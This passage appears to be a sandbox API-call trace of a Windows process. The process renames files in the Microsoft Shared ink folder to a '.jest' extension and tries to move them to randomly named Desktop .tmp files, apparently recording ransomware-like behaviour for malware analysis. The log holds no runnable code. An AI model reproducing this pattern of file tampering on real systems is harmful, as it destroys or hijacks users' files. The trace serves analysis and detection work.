1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp") returned 0x8f [0145.458] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpFilePart=0x18e708*="ipsfra.xml") returned 0x3d [0145.458] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fSuTRNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fsutrnzd8pco62gftxs2izzehlkyc33tqrqyzhtzubnrc53dckl8thqutz_lery1j4-ci 1ao6dpqr_zr3eshdvppjz-hgebv3xvs.tmp")) returned 0 [0145.459] GetLastError () returned 0x5 [0145.459] GetLastError () returned 0x5 [0145.459] SetLastError (dwErrCode=0x5) [0145.459] GetLastError () returned 0x5 [0145.459] SetLastError (dwErrCode=0x5) [0145.459] GetLastError () returned 0x5 [0145.459] SetLastError (dwErrCode=0x5) [0145.459] GetFullPathNameA (in: lpFileName="fSuTRNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fSuTRNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp", lpFilePart=0x18e6e4*="fSuTRNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp") returned 0x8f [0145.459] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fSuTRNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x54755366, cFileName="RNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.459] GetLastError () returned 0x2 [0145.459] GetLastError () returned 0x2 [0145.459] SetLastError (dwErrCode=0x2) [0145.460] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.460] CoFreeUnusedLibraries () [0145.460] GetTickCount () returned 0x11562f8 [0145.460] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.460] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.460] GetTickCount () returned 0x11562f8 [0145.460] IsWindowVisible (hWnd=0x30268) returned 0 [0145.460] Sleep (dwMilliseconds=0x0) [0145.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.jest")) returned 0 [0145.462] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpFilePart=0x18e6d8*="ipshrv.xml") returned 0x3d [0145.462] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 0x143ce48 [0145.462] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.463] VarBstrFromR4 (in: fltIn=0x47944d9c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.22") returned 0x0 [0145.463] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.463] CoFreeUnusedLibraries () [0145.463] GetTickCount () returned 0x1156307 [0145.463] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.463] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.463] GetTickCount () returned 0x1156307 [0145.463] IsWindowVisible (hWnd=0x30268) returned 0 [0145.463] Sleep (dwMilliseconds=0x0) [0145.464] GetFullPathNameA (in: lpFileName="uf1c7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uf1c7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp", lpFilePart=0x18e708*="uf1c7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp") returned 0x8e [0145.465] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpFilePart=0x18e708*="ipshrv.xml") returned 0x3d [0145.465] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uf1c7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uf1c7yv8ews6cnv4rcs1srnkoq4miaiqso3rb3xpq5cyejzekult-g03mf bftib6dpx9_6dbjwpudupt8v4hnaxylrjoan4g6u0.tmp")) returned 0 [0145.465] GetLastError () returned 0x5 [0145.465] GetLastError () returned 0x5 [0145.465] SetLastError (dwErrCode=0x5) [0145.465] GetLastError () returned 0x5 [0145.465] SetLastError (dwErrCode=0x5) [0145.465] GetLastError () returned 0x5 [0145.465] SetLastError (dwErrCode=0x5) [0145.465] GetFullPathNameA (in: lpFileName="uf1c7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uf1c7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp", lpFilePart=0x18e6e4*="uf1c7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp") returned 0x8e [0145.465] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uf1c7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x63316675, cFileName="7YV8eWs6CnV4rCS1sRnkOQ4MIaIQsO3Rb3xPq5CYeJZEkuLt-g03MF BFtIB6Dpx9_6dBJwPuDupt8v4HNAXYlRJoAn4g6U0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.466] GetLastError () returned 0x2 [0145.466] GetLastError () returned 0x2 [0145.466] SetLastError (dwErrCode=0x2) [0145.466] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.466] CoFreeUnusedLibraries () [0145.466] GetTickCount () returned 0x1156307 [0145.466] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.466] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.466] GetTickCount () returned 0x1156307 [0145.466] IsWindowVisible (hWnd=0x30268) returned 0 [0145.466] Sleep (dwMilliseconds=0x0) [0145.467] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.jest")) returned 0 [0145.468] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpFilePart=0x18e6d8*="ipsita.xml") returned 0x3d [0145.468] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 0x143ce48 [0145.468] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.468] VarBstrFromR4 (in: fltIn=0x47944d9e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.23") returned 0x0 [0145.469] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.469] CoFreeUnusedLibraries () [0145.469] GetTickCount () returned 0x1156307 [0145.469] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.469] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.469] GetTickCount () returned 0x1156307 [0145.469] IsWindowVisible (hWnd=0x30268) returned 0 [0145.469] Sleep (dwMilliseconds=0x0) [0145.479] GetFullPathNameA (in: lpFileName="5j-KDqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5j-KDqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp", lpFilePart=0x18e708*="5j-KDqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp") returned 0x8d [0145.479] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpFilePart=0x18e708*="ipsita.xml") returned 0x3d [0145.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5j-KDqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5j-kdqg0 vnahok3p5apmbbnobdpdylr-dhjacf_dw11s2v1gi6zlpmklheomvuynpzv5jyxev2rl6ic2d js7wariq1_s6_5i6.tmp")) returned 0 [0145.480] GetLastError () returned 0x5 [0145.480] GetLastError () returned 0x5 [0145.480] SetLastError (dwErrCode=0x5) [0145.480] GetLastError () returned 0x5 [0145.480] SetLastError (dwErrCode=0x5) [0145.480] GetLastError () returned 0x5 [0145.480] SetLastError (dwErrCode=0x5) [0145.480] GetFullPathNameA (in: lpFileName="5j-KDqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5j-KDqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp", lpFilePart=0x18e6e4*="5j-KDqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp") returned 0x8d [0145.480] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5j-KDqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4b2d6a35, cFileName="DqG0 vNaHok3p5APMBBNoBDPDylR-dhjacF_Dw11s2V1Gi6zLpMkLhEOMvuYnPzv5jYxEV2RL6iC2D JS7WariQ1_s6_5i6.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.480] GetLastError () returned 0x2 [0145.480] GetLastError () returned 0x2 [0145.480] SetLastError (dwErrCode=0x2) [0145.481] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.481] CoFreeUnusedLibraries () [0145.481] GetTickCount () returned 0x1156317 [0145.481] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.481] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.481] GetTickCount () returned 0x1156317 [0145.481] IsWindowVisible (hWnd=0x30268) returned 0 [0145.481] Sleep (dwMilliseconds=0x0) [0145.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.jest")) returned 0 [0145.493] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpFilePart=0x18e6d8*="ipsjpn.xml") returned 0x3d [0145.493] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 0x143ce48 [0145.493] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.493] VarBstrFromR4 (in: fltIn=0x47944da0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.25") returned 0x0 [0145.494] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.494] CoFreeUnusedLibraries () [0145.494] GetTickCount () returned 0x1156317 [0145.494] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.494] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.494] GetTickCount () returned 0x1156317 [0145.494] IsWindowVisible (hWnd=0x30268) returned 0 [0145.494] Sleep (dwMilliseconds=0x0) [0145.494] GetFullPathNameA (in: lpFileName="tSbon94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tSbon94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp", lpFilePart=0x18e708*="tSbon94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp") returned 0x8d [0145.495] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpFilePart=0x18e708*="ipsjpn.xml") returned 0x3d [0145.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tSbon94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tsbon94js4clpx5qxojpdyee-nuyg8tzdfjuxkmblidmphhdt8ys y9k__t2rk9ppbbl6pjsaxhlablujoisv7myykl4h6qhtsh.tmp")) returned 0 [0145.495] GetLastError () returned 0x5 [0145.495] GetLastError () returned 0x5 [0145.495] SetLastError (dwErrCode=0x5) [0145.495] GetLastError () returned 0x5 [0145.495] SetLastError (dwErrCode=0x5) [0145.495] GetLastError () returned 0x5 [0145.495] SetLastError (dwErrCode=0x5) [0145.495] GetFullPathNameA (in: lpFileName="tSbon94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tSbon94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp", lpFilePart=0x18e6e4*="tSbon94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp") returned 0x8d [0145.495] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tSbon94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f625374, cFileName="n94js4CLpx5qXoJpDyEE-nUyg8tZdfjuxkMBliDMPHhDT8YS Y9k__t2rK9ppbbL6PjSAxHlAbLUJOIsv7MYYkl4h6qHtsH.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.495] GetLastError () returned 0x2 [0145.496] GetLastError () returned 0x2 [0145.496] SetLastError (dwErrCode=0x2) [0145.496] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.496] CoFreeUnusedLibraries () [0145.496] GetTickCount () returned 0x1156327 [0145.496] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.496] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.496] GetTickCount () returned 0x1156327 [0145.496] IsWindowVisible (hWnd=0x30268) returned 0 [0145.496] Sleep (dwMilliseconds=0x0) [0145.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.jest")) returned 0 [0145.497] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpFilePart=0x18e6d8*="ipskor.xml") returned 0x3d [0145.497] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 0x143ce48 [0145.497] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436ab4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.497] VarBstrFromR4 (in: fltIn=0x47944da2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.27") returned 0x0 [0145.498] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.498] CoFreeUnusedLibraries () [0145.498] GetTickCount () returned 0x1156327 [0145.498] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.498] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.498] GetTickCount () returned 